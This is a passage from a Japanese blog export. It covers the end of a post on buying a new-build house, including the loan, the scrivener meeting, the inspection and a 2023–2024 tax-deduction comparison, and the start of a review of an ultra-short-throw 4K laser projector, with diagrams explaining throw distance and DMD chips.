決済\n\n金銭消費貸借契約は、住宅ローン借入の契約そのもののことだ。銀行へ行って署名捺印をしたり数万円の印紙代を払ったりと労力がかかるのが一般的だが、オンラインで済ませられる銀行も出てきた。\nauじぶん銀行はオンラインで契約ができたため、布団の中で契約を完了した。\n\n司法書士面談は、住宅ローンで物件を抵当に入れる設定登記などで必要な事務手続きの一つで、慣習的に司法書士と対面して手続きをする必要がある。\n印鑑証明が必要だったりとDXや脱ハンコを目指す時代に根強く残るレガシーな体験だ。\n手続きはご自宅か任意のカフェという場所の選択肢だったので、コメダで相手方の経費で高めのコーヒーを飲みながら、説明を受けて書類を渡し署名捺印をして終了。\nコーヒーも冷めやらぬ間に手続きは終わり、雑談ついでにこのレガシー体験を司法書士に愚痴ってみたところ、マイナンバー等で瞬時に登記ができる時代もすぐ来て淘汰される仕事と考えているようだった。\n\n内覧会は、物件の設備が仕様通りかを入居1〜2週間前までに確認する催しだ。フローリングや壁紙の歪み剥がれ傷などの新品である「新築」にあってはならない損傷や、扉や窓の開閉に歪な点がないか、水道や電気などの設備に施工不良や初期不良がないかを建築責任者らと確認しあう会だ。\nできるだけしっかりと見て問題があれば正してもらうよう意気込んで挑み、1時間ほどかけて終了となった。\n\nこれらが無事に終わり、引き渡し日に決済と融資実行を経て、晴れて物件を手に入れたことになる。\n\n## 家をお得に買うなら今年が最後\n\nここまで読んできた人の中で、新築物件を買おうと思った人も半数ほどはいるだろう。\nそこで検討し始めた人に対して言いたいのが、今すぐ行動しろということだ。\n減税や控除の話の部分で随所に括弧書きで期限付きであることを記したが、この期限が過ぎると大幅に損をする。\n今年2023年中に入居するのと来年4月以降入居では、控除や減税の差によって百万円超の損をすることになるのだ。\n\n入居年月(一般住宅) | 2023年12月末 | 2024年3月末 | 2024年4月以降\n:---:|---:|---:|---:\n住宅ローン控除 | **最大273万円還付** | 最大140万円還付 | 最大140万円還付\n不動産取得税率 | **3%** | **3%** | 4%\n固定資産税 | **3年間半額** | **3年間半額** | 減額なし\n登録免許税率(建物保存) | **0.15%** | **0.15%** | 0.40%\n登録免許税率(抵当権) | **0.10%** | **0.10%** | 0.40%\n\nこれは一般住宅(省エネ住宅でないその他の住宅)を買う場合の話だが、省エネ住宅でも今年買うのと来年買うのとでは額が大きく変わってくる。\n\n国民負担率が半世紀で2倍になるような国で、かろうじて残されている個人への大きな節税制度を逃すわけにはいかないだろう。\nこの記事を読み終えたらすぐに家を買ってもらい、購入体験記事をアップしてもらいたい。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">こういう規制や税制の問題もあって家買うの今年を逃したらしばらく冬の時代が続くし急いで探した理由の一つ <a href=\"https://t.co/TqaASdi4SZ\">https://t.co/TqaASdi4SZ</a></p>&mdash; 不動産取得税申告 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1626617337632919558?ref_src=twsrc%5Etfw\">February 17, 2023</a></blockquote> \n\n## まとめ\n\nいつものリンクはこちらです\n\n[ほしい物リスト \\| Amazon.co.jp](https://amzn.mzyy94.com)\n"]}],[0,{"slug":[0,"2023/06/26/lg-hu915qe-laser-projector/"],"data":[0,{"title":[0,"HU915QEで100インチホームシアターを組んで3ヶ月たったレビュー"],"date":[3,"2023-06-25T18:00:00.000Z"],"image":[0,"/assets/images/2023/06/26/IMG_7239.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Display"]]],"tags":[1,[[0,"4k"],[0,"lg"],[0,"projector"],[0,"hardware"],[0,"review"]]]}],"content":[0,"\n職業柄なのかスマホでのSNSのやりすぎなのか、近視が年々進行している。仕事や室内での生活には問題はないのだが、運転時はメガネが必要になるし、テレビがボヤけて見えるのがとても辛い。\nそれに抗うように、衰える視力に対してテレビの画面サイズを[42インチ](../2016/2016-01-10-42inch-4k-display.md)→[65インチ](../2018/2018-11-29-lowcost-65-4k-hdr-tv.md)→[75インチ](../2021/2021-08-07-hisense-75a6g-review.mdx)と大きくしてきた。\n\n::PostLink{slug=\"hisense-75a6g-review\"}\n\nそして衰えは進行し、さらなる画面サイズが必要になってきたと感じ始め、90インチ以上のものに置き換えることを考え始めた。\nしかし今の市販のテレビは液晶パネルや有機ELパネルの都合なのか85インチが最大とあって、求めるサイズのものは手に入れることが難しいことを知る。\nどうせ地上波はほとんど観ないしテレビである必要性がないため、テレビ以外にも選択肢を広げていった。\n\nそこで予てから導入したかったプロジェクターを導入し、視力との戦いに挑むことにした。\nせっかくなのでサウンド面も強化し、ぼくのかんがえたさいきょうのホームシアターを構築した。\n\n## 目次\n\n## ぼくのかんがえたさいきょうのホームシアター\n\nずっとホームシアターには憧れがあったものの、これまでは部屋のレイアウトなどでうまくフィットするものが無く、妄想だけを重ねてきていた。\n[引っ越しの機会もあって](../2023/2023-02-27-my-new-house.md)うまく理想を現実に落とし込めそうだったので、5年間ほど温めていた理想像を書き出し構想を練った。\n\n### 超短焦点4Kトリプルレーザープロジェクター\n\n超短焦点でTrue 4Kでトリプルレーザーなプロジェクター!欲張りさんだから、全部盛りなんだ♪\n\n#### 超短焦点\n\nプロジェクターといえば映画館のように視聴者の後ろ上方から映像を投影するものが一般的である。\n光源からレンズを通して射出される小さな映像を大きなスクリーンに綺麗に投影するにはそれなりの焦点距離が必要となり、大画面用に短焦点レンズを載せたものでも1メートル以上の距離をスクリーンとの間に必要とする。\n\n<svg height=\"100%\" stroke-miterlimit=\"10\" style=\"fill-rule:nonzero;clip-rule:evenodd;stroke-linecap:round;stroke-linejoin:round;\" version=\"1.1\" viewBox=\"0 0 426 240\" width=\"100%\" xml:space=\"preserve\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:vectornator=\"http://vectornator.io\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<defs>\n<linearGradient gradientTransform=\"matrix(0.992931 7.59172e-18 7.59172e-18 1.11691 4.71437 -23.0171)\" gradientUnits=\"userSpaceOnUse\" id=\"LinearGradient\" x1=\"33.5844\" x2=\"310.285\" y1=\"118\" y2=\"118\">\n<stop offset=\"0\" stop-color=\"#269fe8\"/>\n<stop offset=\"1\" stop-color=\"#63fdff\"/>\n</linearGradient>\n</defs>\n<path d=\"M0 0L426 0L426 240L0 240L0 0Z\" fill=\"#ffffff\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\"/>\n<g id=\"レイヤー-1\" vectornator:layerName=\"レイヤー 1\">\n<path d=\"M14.4 10.4903L30.1188 10.4903L30.1188 207.067L14.4 207.067L14.4 10.4903Z\" fill=\"none\" opacity=\"1\" stroke=\"#2e71a5\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"長方形 2\"/>\n<path d=\"M38.0613 207.067L38.0613 10.4903L339.395 35.8561L38.0613 207.067Z\" fill=\"url(#LinearGradient)\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\" vectornator:layerName=\"多角形 1\"/>\n<path d=\"M316 24.9015C316 24.4036 316.404 24 316.902 24L379.074 24C379.572 24 379.975 24.4036 379.975 24.9015L379.975 53.3889C379.975 53.8869 379.572 54.2905 379.074 54.2905L316.902 54.2905C316.404 54.2905 316 53.8869 316 53.3889L316 24.9015Z\" fill=\"#5a94bc\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\" vectornator:layerName=\"長方形 1\"/>\n<g opacity=\"1\" vectornator:layerName=\"曲線 1\">\n<path d=\"M312.496 224C296.918 224 33.5098 224 33.5098 224\" fill=\"none\" stroke=\"#034f8b\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#034f8b\" stroke=\"none\">\n<path d=\"M34.3848 224L37.0098 220.5L30.0098 224L37.0098 227.5L34.3848 224Z\" fill=\"#034f8b\"/>\n<path d=\"M311.621 224L308.996 227.5L315.996 224L308.996 220.5L311.621 224Z\" fill=\"#034f8b\"/>\n</g>\n</g>\n<text fill=\"#269fe8\" font-family=\"Helvetica\" font-size=\"14\" opacity=\"1\" stroke=\"none\" text-anchor=\"start\" transform=\"matrix(1 0 0 1 129.542 207.067)\" vectornator:layerName=\"Text 1\" vectornator:width=\"86.916\" x=\"0\" y=\"0\">\n<tspan textLength=\"83.916\" x=\"0\" y=\"12\">1.5m - 2.5m</tspan>\n</text>\n</g>\n</svg>\n\n\nこの設置距離によって様々な制約や問題が生まれる。\n最も単純なものは、人や物がプロジェクターとスクリーンの間に介在して映像を遮ってしまう問題だ。今回は液晶テレビの置き換えということもあって、リビングルームでの利用を考えているため、行動が制限されてしまうことは避けたい。\n\nそんな設置距離の問題を解消したプロジェクターが、ズバリ超短焦点プロジェクターだ。\n英語でUltra Short Throwと書くことから、USTプロジェクターとも呼ばれる。\n名前の通り超短焦点レンズを採用し、わずか数センチから十数センチ程度で映像を綺麗に投影できる。\nその短い設置距離でも80インチから150インチの大画面サイズで投影できる製品も多く、令和を代表するホームシアターの形とも言える存在である。\n\n<svg height=\"100%\" stroke-miterlimit=\"10\" style=\"fill-rule:nonzero;clip-rule:evenodd;stroke-linecap:round;stroke-linejoin:round;\" version=\"1.1\" viewBox=\"0 0 426 240\" width=\"100%\" xml:space=\"preserve\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:vectornator=\"http://vectornator.io\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<defs>\n<linearGradient gradientTransform=\"matrix(0.289647 5.06555e-17 5.06555e-17 1.11691 28.3337 -23.0171)\" gradientUnits=\"userSpaceOnUse\" id=\"LinearGradient\" x1=\"33.5844\" x2=\"310.285\" y1=\"118\" y2=\"118\">\n<stop offset=\"0\" stop-color=\"#269fe8\"/>\n<stop offset=\"1\" stop-color=\"#63fdff\"/>\n</linearGradient>\n</defs>\n<path d=\"M0 0L426 0L426 240L0 240L0 0Z\" fill=\"#ffffff\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\"/>\n<g id=\"レイヤー-1\" vectornator:layerName=\"レイヤー 1\">\n<path d=\"M14.4 10.4903L30.1188 10.4903L30.1188 207.067L14.4 207.067L14.4 10.4903Z\" fill=\"none\" opacity=\"1\" stroke=\"#2e71a5\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"長方形 2\"/>\n<path d=\"M38.0613 207.067L38.0613 10.4903L125.963 216.302L38.0613 207.067Z\" fill=\"url(#LinearGradient)\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\" vectornator:layerName=\"多角形 1\"/>\n<path d=\"M82.0122 216.939C82.0122 216.587 82.4158 216.302 82.9137 216.302L145.086 216.302C145.584 216.302 145.988 216.587 145.988 216.939L145.988 237.082C145.988 237.434 145.584 237.72 145.086 237.72L82.9137 237.72C82.4158 237.72 82.0122 237.434 82.0122 237.082L82.0122 216.939Z\" fill=\"#5a94bc\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\" vectornator:layerName=\"長方形 1\"/>\n<g opacity=\"1\" vectornator:layerName=\"曲線 1\">\n<path d=\"M78.5117 216.302C73.6332 216.302 33.6207 216.302 33.6207 216.302\" fill=\"none\" stroke=\"#034f8b\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#034f8b\" stroke=\"none\">\n<path d=\"M34.4957 216.302L37.1207 212.802L30.1207 216.302L37.1207 219.802L34.4957 216.302Z\" fill=\"#034f8b\"/>\n<path d=\"M77.6367 216.302L75.0117 219.802L82.0117 216.302L75.0117 212.802L77.6367 216.302Z\" fill=\"#034f8b\"/>\n</g>\n</g>\n<text fill=\"#269fe8\" font-family=\"Helvetica\" font-size=\"14\" opacity=\"1\" stroke=\"none\" text-anchor=\"start\" transform=\"matrix(1 0 0 1 4 218.72)\" vectornator:layerName=\"Text 1\" vectornator:width=\"76.124\" x=\"0\" y=\"0\">\n<tspan textLength=\"73.124\" x=\"0\" y=\"14\">5cm - 20cm</tspan>\n</text>\n</g>\n</svg>\n\nUSTプロジェクターでは人や物によって映像が遮られることがない強力な利点があるが、超短焦点ならではの欠点も抱えている。\n一番の弱みが傾きに弱いという点だ。\n\nUSTプロジェクターは焦点距離が短いため、プロジェクター本体から照射される映像の距離との拡大率がとても大きい。そのため、わずか数ミリの本体の傾きがスクリーンに映る映像では数センチ数十センチといった単位で傾きのズレが生じてくる。\nまた、USTプロジェクターは下方から上方へ(天井設置の場合は逆)投影されるため、投影軸とは大きくずれた方向に映像を拡大する特殊な反射板とレンズが用いられていることで、このズレの修正が直感的ではなく困難を極める。\n\nスクリーンなどの照射面の歪みも顕著になるのがUSTプロジェクターの特徴だ。\n一般的なプロジェクターが水平方向に照射された映像を水平方向から視聴するのに対し、USTプロジェクターは下方から上方へ投影された映像を視聴することになる。\nスクリーンにわずかなシワがあるとき、USTプロジェクターはシワ方向に沿って大きく画素がズレて映像が伸縮するため、水平方向から視聴すると極端に歪んで見えるのだ。\n\n<svg height=\"100%\" stroke-miterlimit=\"10\" style=\"fill-rule:nonzero;clip-rule:evenodd;stroke-linecap:round;stroke-linejoin:round;\" version=\"1.1\" viewBox=\"0 0 426 240\" width=\"100%\" xml:space=\"preserve\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:vectornator=\"http://vectornator.io\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<defs/>\n<path d=\"M0 0L426 0L426 240L0 240L0 0Z\" fill=\"#ffffff\" fill-rule=\"nonzero\" opacity=\"1\" stroke=\"none\"/>\n<g id=\"レイヤー-1\" vectornator:layerName=\"レイヤー 1\">\n<path d=\"M30.1188 132.973L30.1188 207.067L14.4 207.067L14.4 10.4903L30.1188 10.4903L30.1188 26.5228\" fill=\"none\" opacity=\"1\" stroke=\"#dddddd\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 14\"/>\n<path d=\"M38.0613 207.067L38.0613 10.4903L125.963 216.302L38.0613 207.067Z\" fill=\"none\" opacity=\"1\" stroke=\"#ebecf0\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"多角形 2\"/>\n<path d=\"M38.6848 207.067L38.6848 10.4903L340.018 35.8561L38.6848 207.067Z\" fill=\"none\" opacity=\"1\" stroke=\"#ebecf0\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"多角形 1\"/>\n<path d=\"M30.1188 122.525L30.1188 132.973\" fill=\"none\" opacity=\"1\" stroke=\"#3e68ff\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 15\"/>\n<path d=\"M35.1869 118.581C33.2657 120.812 30.1188 122.525 30.1188 122.525\" fill=\"none\" opacity=\"1\" stroke=\"#68c40c\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 22\"/>\n<path d=\"M36.6387 115.441C36.6387 116.52 36.0311 117.601 35.1869 118.581\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 16\"/>\n<path d=\"M35.94 113.316C36.3693 114.004 36.6387 114.722 36.6387 115.441\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 17\"/>\n<path d=\"M30.1188 108.385C30.1188 108.385 34.2575 110.62 35.94 113.316\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 18\"/>\n<path d=\"M30.1188 104.866L30.1188 108.385\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 19\"/>\n<path d=\"M30.1188 95.5287L30.1188 104.866\" fill=\"none\" opacity=\"1\" stroke=\"#f5891d\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 20\"/>\n<path d=\"M247.633 164.822L247.633 173.11\" fill=\"none\" opacity=\"1\" stroke=\"#3e68ff\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 26\"/>\n<path d=\"M247.63 161.693L247.633 164.822\" fill=\"none\" opacity=\"1\" stroke=\"#68c40c\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 27\"/>\n<path d=\"M247.63 159.203L247.63 161.693\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 28\"/>\n<path d=\"M247.63 157.517L247.63 159.203\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 29\"/>\n<path d=\"M247.63 153.6L247.63 157.517\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 30\"/>\n<path d=\"M247.633 150.813L247.633 153.605\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 31\"/>\n<path d=\"M247.633 143.407L247.633 150.813\" fill=\"none\" opacity=\"1\" stroke=\"#f5891d\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 32\"/>\n<path d=\"M30.1188 56.2262L30.1188 95.5287\" fill=\"none\" opacity=\"1\" stroke=\"#dddddd\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 9\"/>\n<path d=\"M33.7158 47.5229C32.0047 48.9045 30.1188 49.8774 30.1188 49.8774L30.1188 56.2262\" fill=\"none\" opacity=\"1\" stroke=\"#3e68ff\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 8\"/>\n<path d=\"M35.3293 41.2049C35.9878 41.9417 36.4367 42.7431 36.4367 43.5587C36.4367 44.9466 35.1366 46.3757 33.7158 47.5229\" fill=\"none\" opacity=\"1\" stroke=\"#68c40c\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 7\"/>\n<path d=\"M30.1188 35.3694L30.1188 37.6392C30.1188 37.6392 33.5174 39.1776 35.3293 41.2049\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"曲線 6\"/>\n<path d=\"M30.1188 26.5228L30.1188 35.3694\" fill=\"none\" opacity=\"1\" stroke=\"#f5891d\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\" vectornator:layerName=\"長方形 2\"/>\n<path d=\"M213 164.407L213 166.761L213 173.11\" fill=\"none\" opacity=\"1\" stroke=\"#3e68ff\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 23\"/>\n<path d=\"M213 158.089L213 164.407\" fill=\"none\" opacity=\"1\" stroke=\"#68c40c\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 24\"/>\n<path d=\"M213 152.253L213 158.089\" fill=\"none\" opacity=\"1\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"曲線 25\"/>\n<path d=\"M213 143.407L213 152.253\" fill=\"none\" opacity=\"1\" stroke=\"#f5891d\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"3\" vectornator:layerName=\"長方形 3\"/>\n<path d=\"M316 24.9015C316 24.4036 316.404 24 316.902 24L379.074 24C379.572 24 379.975 24.4036 379.975 24.9015L379.975 53.3889C379.975 53.8869 379.572 54.2905 379.074 54.2905L316.902 54.2905C316.404 54.2905 316 53.8869 316 53.3889L316 24.9015Z\" fill=\"#5a94bc\" fill-rule=\"nonzero\" opacity=\"0\" stroke=\"none\" vectornator:layerName=\"長方形 1\"/>\n<g opacity=\"1\" vectornator:layerName=\"曲線 2\">\n<path d=\"M33.5086 31.5046C49.1305 31.5046 330.087 31.5046 330.087 31.5046\" fill=\"none\" stroke=\"#f5891d\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#f5891d\" stroke=\"none\">\n<path d=\"M34.3836 31.5046L37.0086 28.0046L30.0086 31.5046L37.0086 35.0046L34.3836 31.5046Z\" fill=\"#f5891d\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 3\">\n<path d=\"M36.7178 38.9127C52.3397 38.9127 333.296 38.9127 333.296 38.9127\" fill=\"none\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#fddf19\" stroke=\"none\">\n<path d=\"M37.5928 38.9127L40.2178 35.4127L33.2178 38.9127L40.2178 42.4127L37.5928 38.9127Z\" fill=\"#fddf19\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 4\">\n<path d=\"M40.1473 45.627C55.7692 45.627 336.725 45.627 336.725 45.627\" fill=\"none\" stroke=\"#68c40c\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#68c40c\" stroke=\"none\">\n<path d=\"M41.0223 45.627L43.6473 42.127L36.6473 45.627L43.6473 49.127L41.0223 45.627Z\" fill=\"#68c40c\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 5\">\n<path d=\"M33.5086 52.8701C49.1305 52.8701 330.087 52.8701 330.087 52.8701\" fill=\"none\" stroke=\"#3e68ff\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#3e68ff\" stroke=\"none\">\n<path d=\"M34.3836 52.8701L37.0086 49.3701L30.0086 52.8701L37.0086 56.3701L34.3836 52.8701Z\" fill=\"#3e68ff\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 10\">\n<path d=\"M32.4389 99.9126C38.2395 106.935 111.296 195.381 111.296 195.381\" fill=\"none\" stroke=\"#f5891d\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#f5891d\" stroke=\"none\">\n<path d=\"M32.9961 100.587L37.3663 100.382L30.2099 97.2141L31.9694 104.84L32.9961 100.587Z\" fill=\"#f5891d\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 11\">\n<path d=\"M38.7368 116.128C44.2337 122.728 111.161 203.081 111.161 203.081\" fill=\"none\" stroke=\"#fddf19\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#fddf19\" stroke=\"none\">\n<path d=\"M39.2968 116.801L43.6661 116.578L36.4968 113.439L38.2875 121.058L39.2968 116.801Z\" fill=\"#fddf19\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 12\">\n<path d=\"M36.0799 122.589C41.4724 129.118 106.62 207.989 106.62 207.989\" fill=\"none\" stroke=\"#68c40c\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#68c40c\" stroke=\"none\">\n<path d=\"M36.6372 123.264L41.0074 123.059L33.851 119.891L35.6104 127.517L36.6372 123.264Z\" fill=\"#68c40c\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"曲線 13\">\n<path d=\"M32.4105 128.206C37.7839 134.658 102.384 212.216 102.384 212.216\" fill=\"none\" stroke=\"#3e68ff\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1\"/>\n<g fill=\"#3e68ff\" stroke=\"none\">\n<path d=\"M32.9705 128.879L37.3398 128.656L30.1705 125.517L31.9612 133.136L32.9705 128.879Z\" fill=\"#3e68ff\"/>\n</g>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"グループ 2\">\n<text fill=\"#269fe8\" font-family=\"Helvetica\" font-size=\"10\" opacity=\"1\" stroke=\"none\" text-anchor=\"middle\" transform=\"matrix(1 0 0 1 18.0967 37.5229)\" vectornator:layerName=\"Text 1\" vectornator:width=\"9.66992\" x=\"0\" y=\"0\">\n<tspan textLength=\"6.66992\" x=\"4.83496\" y=\"10\">A</tspan>\n</text>\n<path d=\"M16.8539 44.3639C16.8539 41.0073 19.575 38.2862 22.9316 38.2862C26.2883 38.2862 29.0094 41.0073 29.0094 44.3639C29.0094 47.7205 26.2883 50.4416 22.9316 50.4416C19.575 50.4416 16.8539 47.7205 16.8539 44.3639Z\" fill=\"none\" opacity=\"1\" stroke=\"#269fe8\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1.05701\" vectornator:layerName=\"楕円形 1\"/>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"グループ 3\">\n<text fill=\"#269fe8\" font-family=\"Helvetica\" font-size=\"10\" opacity=\"1\" stroke=\"none\" text-anchor=\"middle\" transform=\"matrix(1 0 0 1 208.165 182.463)\" vectornator:layerName=\"Text 1\" vectornator:width=\"9.66992\" x=\"0\" y=\"0\">\n<tspan textLength=\"6.66992\" x=\"4.83496\" y=\"10\">A</tspan>\n</text>\n<path d=\"M206.922 189.304C206.922 185.947 209.643 183.226 213 183.226C216.357 183.226 219.078 185.947 219.078 189.304C219.078 192.66 216.357 195.381 213 195.381C209.643 195.381 206.922 192.66 206.922 189.304Z\" fill=\"none\" opacity=\"1\" stroke=\"#269fe8\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1.05701\" vectornator:layerName=\"楕円形 1\"/>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"グループ 1\">\n<text fill=\"#269fe8\" font-family=\"Helvetica\" font-size=\"10\" opacity=\"1\" stroke=\"none\" text-anchor=\"middle\" transform=\"matrix(1 0 0 1 18.0967 109.363)\" vectornator:layerName=\"Text 2\" vectornator:width=\"9.66992\" x=\"0\" y=\"0\">\n<tspan textLength=\"6.66992\" x=\"4.83496\" y=\"10\">B</tspan>\n</text>\n<path d=\"M16.8539 115.441C16.8539 112.084 19.575 109.363 22.9316 109.363C26.2883 109.363 29.0094 112.084 29.0094 115.441C29.0094 118.798 26.2883 121.519 22.9316 121.519C19.575 121.519 16.8539 118.798 16.8539 115.441Z\" fill=\"none\" opacity=\"1\" stroke=\"#269fe8\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1.05701\" vectornator:layerName=\"楕円形 2\"/>\n</g>\n<g opacity=\"1\" vectornator:layerName=\"グループ 4\">\n<text fill=\"#269fe8\" font-family=\"Helvetica\" font-size=\"10\" opacity=\"1\" stroke=\"none\" text-anchor=\"middle\" transform=\"matrix(1 0 0 1 242.798 182.463)\" vectornator:layerName=\"Text 2\" vectornator:width=\"9.66992\" x=\"0\" y=\"0\">\n<tspan textLength=\"6.66992\" x=\"4.83496\" y=\"10\">B</tspan>\n</text>\n<path d=\"M241.556 188.54C241.556 185.184 244.277 182.463 247.633 182.463C250.99 182.463 253.711 185.184 253.711 188.54C253.711 191.897 250.99 194.618 247.633 194.618C244.277 194.618 241.556 191.897 241.556 188.54Z\" fill=\"none\" opacity=\"1\" stroke=\"#269fe8\" stroke-linecap=\"butt\" stroke-linejoin=\"round\" stroke-width=\"1.05701\" vectornator:layerName=\"楕円形 2\"/>\n</g>\n</g>\n</svg>\n\n\nこれらの欠点はいずれも設置をしっかり調整したり、プロジェクターの補正機能をうまく使ったりすれば解消できる部分であり、最大のメリットである「映像を遮らない利点」を享受できれば気に留めるほどでもない。\n\n#### True 4K 0.66インチ DMD\n\n4Kテレビでは光を映像に変換するLCDパネルや有機ELパネルが高解像度化し、3840x2160画素の4K画質を表現できるようになっている。\nプロジェクターにおける4K画質というものは、コストや技術的観点からピクセルずらしという技術によって4K画質を**作り出している**。\n\n##### DMD\n\n\n&copy; [Hachikou](https://commons.wikimedia.org/wiki/User:Hachikou) from [Wikimedia](https://commons.wikimedia.org/wiki/File:DLP_Black_and_White.gif) - [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/deed.en)\n\nプロジェクターの光源とレンズの間には、三原色を映像に変換する機械が存在する。\nその機械はプロジェクターの方式によって様々で、\n\n- 反射型液晶\n- 透過型液晶\n- デジタル・マイクロミラー・デバイス\n\nなどが存在する。\n\n主流であるDLP方式のプロジェクターで用いられるのはデジタル・マイクロミラー・デバイス、通称DMDと呼ばれるコンポーネント。\n光源からの光を鏡で反射させるため液晶を使うものと比べて減衰が少なく、より明るい映像が楽しめる。\n明るさは正義なので、プロジェクター選びにおいてDMDを採用していることは譲れないポイントの一つである。\n\nDMDは極小のミラー(マイクロミラー)が画素のように敷き詰められているデバイスで、三原色のそれぞれで各画素にどの色をレンズに通すかをミラーの傾きで選択する機能を持つ。\n光源からの光を受けて、ミラーを動かしてレンズの方向に反射させたりさせなかったりを色ごとに行う。\n例えばドイツ国旗🇩🇪を全画面に表示する映像を投影する時は次のような動作となる。\n\n1. 上3分の1はミラーを全てレンズとは違う方向に傾けてレンズに光を通さない(OFF状態)\n2. 真ん中3分の1は赤色の光が当たる時だけミラーをレンズ方向に反射するように傾けレンズから光を出す(ON状態)\n3. 